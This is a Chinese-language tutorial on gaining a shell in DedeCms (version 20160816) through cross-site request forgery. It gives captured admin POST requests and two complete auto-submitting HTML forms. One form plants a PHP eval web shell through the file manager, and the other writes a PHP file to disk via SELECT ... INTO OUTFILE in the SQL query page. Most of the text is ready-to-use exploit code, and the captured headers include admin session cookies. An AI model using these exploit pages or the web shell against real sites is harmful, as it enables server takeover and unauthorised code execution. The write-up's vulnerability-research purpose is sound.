DedeCms利用Csrf創建文件與執行sql語句進行getshell過程與思路

來自i春秋作者：Szdny

00x01

ver.txt版本為 20160816

由于X_Al3r提交過補天，所以最新版本已經不能復現，所以我特地問了他要了前一個版本過來寫這篇文章

這里便是Csrf觸發點，我們創建文件的時候抓取他的POST包

POST /uploads/dede/file_manage_control.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 151
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: [url]http://127.0.0.1[/url]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.108 Safari/537.36 2345Explorer/7.2.0.13379
Content-Type: application/x-www-form-urlencoded
Referer: [url]http://127.0.0.1/uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads%2Fuploads[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: menuitems=1_1%2C2_1%2C3_1; bdshare_firstime=1472114910255; cookiecheckrlddabd86e58aedecd3956d21fa4aaa637=1473291881; PHPSESSID=nn95rbs56hku1pk8jcp5edatv4; ecisp_seccode=ZjppYlTD796UgoNXLcQlNO4UOI2vudHOBktNZoJu5m8%3D; DedeUserID=1; DedeUserID__ckMd5=db571499870b8384; DedeLoginTime=1473291905; DedeLoginTime__ckMd5=6900164b865d5f29; ENV_GOBACK_URL=%2Fuploads%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: close

fmdo=edit&backurl=&activepath=%2Fuploads%2Fuploads&filename=1.php&str=%3C%3Fphp+%40eval%28%24_POST%5B%27x%27%5D%29%3B+%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++

上面為包內容可以看見，他是由

http://127.0.0.1/uploads/dede/file_manage_control.php

進行的操作，那么我們構造表單為 file_manage_control.php

觸發的from表單開頭為

    <form action="http://127.0.0.1/uploads/dede/file_manage_control.php" method="POST">

method=“POST”意思為Post提交來看第二句

<input type="hidden" name="fmdo" value="edit" />

edit已經表示了為編輯接著第三句

<input type="hidden" name="backurl" value="" />

這句可以不用了解，我們來看第四句

<input type="hidden" name="activepath" value="&#47;uploads&#47;uploads" />

這里為保存文件的目錄第五句

 <input type="hidden" name="filename" value="1&#46;php" />

保存的名字第六句

<input type="hidden" name="str" value="<?php @eval($_POST['x']); ?>" />

這里為文件內容來看第八句

<input type="submit" value="Submit request" />

學過html的人都知道submit為提交，命名為Submit request 那么我們完整的來構造一個表單

<!DOCTYPE html>
<html>
<head>
<script>
function sub(){

document.form1.submit();
}
setTimeout(sub,1);
</script>
</head>
  <body>
    <form name="form1" action="http://127.0.0.1/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="1&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;POST&#91;&apos;x&apos;&#93;&#41;&#59;&#32;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;???&#32;?-?&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<script>
function sub(){

document.form1.submit();
}
setTimeout(sub,1);
</script>

這一段為自動提交命名為from1的表單相當于可以直接點開html進行觸發我們來保存到一個html頁面看看效果

發現點開的時候就提示已經保存了一個文件，并且得到了一個越權

0x02Csrf執行sql語句進行getshell

這里便是第二個觸發點我們看看他的Post包語句

select"<?php @eval($_POST['x']); ?>" into outfile "D:/WWW/uploads/3.php" ;

執行成功，我們來連接一下看看是否可以連接

可以進行連接，那么我們來分析一下，先從Post包分析

POST /uploads/dede/sys_sql_query.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 163
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: [url]http://127.0.0.1[/url]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.108 Safari/537.36 2345Explorer/7.2.0.13379
Content-Type: application/x-www-form-urlencoded
Referer: [url]http://127.0.0.1/uploads/dede/sys_sql_query.php[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: menuitems=1_1%2C2_1%2C3_1; bdshare_firstime=1472114910255; cookiecheckrlddabd86e58aedecd3956d21fa4aaa637=1473291881; PHPSESSID=nn95rbs56hku1pk8jcp5edatv4; ecisp_seccode=ZjppYlTD796UgoNXLcQlNO4UOI2vudHOBktNZoJu5m8%3D; DedeUserID=1; DedeUserID__ckMd5=db571499870b8384; DedeLoginTime=1473291905; DedeLoginTime__ckMd5=6900164b865d5f29; ENV_GOBACK_URL=%2Fuploads%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: close

dopost=query&querytype=0&sqlquery=select%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22+into+outfile+%22D%3A%2FWWW%2Fuploads%2F3.php%22+%3B&imageField.x=19&imageField.y=13

可以看見，這次是利用

sys_sql_query.php

這個文件來進行sql語句那么我們就可以構造第一句表單

form action="http://127.0.0.1/uploads/dede/sys_sql_query.php" method="POST">

還是為post提交我們來看另外一句關鍵的

<input type="hidden" name="sqlquery" value="select&quot;&lt;&#63;php&#32;phpinfo&#40;&#41;&#59;&#32;&#63;&gt;&quot;&#32;into&#32;outfile&#32;&quot;D&#58;&#47;WWW&#47;uploads&#47;3&#46;php&quot;&#32;&#59;" />

這里便是sql語句的表單（寫了一個phpinfo保存為4.php），其他的基本不變，那么我們來構造一個新的from表單

<!DOCTYPE html>
<html>
<head>
<script>
function sub(){

document.form1.submit();
}
setTimeout(sub,1);
</script>
</head>
  <body>
    <form name = "form1" action="http://127.0.0.1/uploads/dede/sys_sql_query.php" method="POST">
      <input type="hidden" name="dopost" value="query" />
      <input type="hidden" name="querytype" value="0" />
      <input type="hidden" name="sqlquery" value="select&quot;&lt;&#63;php&#32;phpinfo&#40;&#41;&#59;&#32;&#63;&gt;&quot;&#32;into&#32;outfile&#32;&quot;D&#58;&#47;WWW&#47;uploads&#47;4&#46;php&quot;&#32;&#59;" />
      <input type="hidden" name="imageField&#46;x" value="19" />
      <input type="hidden" name="imageField&#46;y" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>